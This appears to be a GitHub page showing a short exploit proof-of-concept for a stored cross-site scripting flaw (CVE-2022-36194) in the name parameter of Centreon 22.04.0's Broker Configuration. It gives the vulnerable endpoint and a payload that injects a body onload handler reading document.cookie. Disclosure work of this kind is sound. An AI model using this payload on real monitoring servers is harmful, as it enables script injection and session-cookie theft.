

main

...

poc-dump / Stored XSS in name parameter in Centreon version 22.04.0



amdsyad Update Stored XSS in name parameter in Centreon version 22.04.0

History

1 contributor

16 lines (12 sloc) | 670 Bytes

...

```
1 # Exploit Title: Stored XSS in name parameter in Centreon version 22.04.0
2 # Date:
3 # Exploit Author: syad, yunaranyancat, saitamang
4 # Vendor Homepage: Centreon
5 # Software Link: https://download.centreon.com/
6 # Version: 22.04.0
7 # CVE ID : CVE-2022-36194
8 # Tested on: Centos 7
9
10 Centreon 22.04.0 is vulnerable to Cross Site Scripting (XSS) from the function Pollers > Broker Co
11 into the name parameter.
12
13
14 go to this endpoint -> /centreon/main.get.php?p=60909 -> Pollers -> Broker Configuration -> Click
15
16 payload --> test"><body onload=prompt(document.cookie)>
```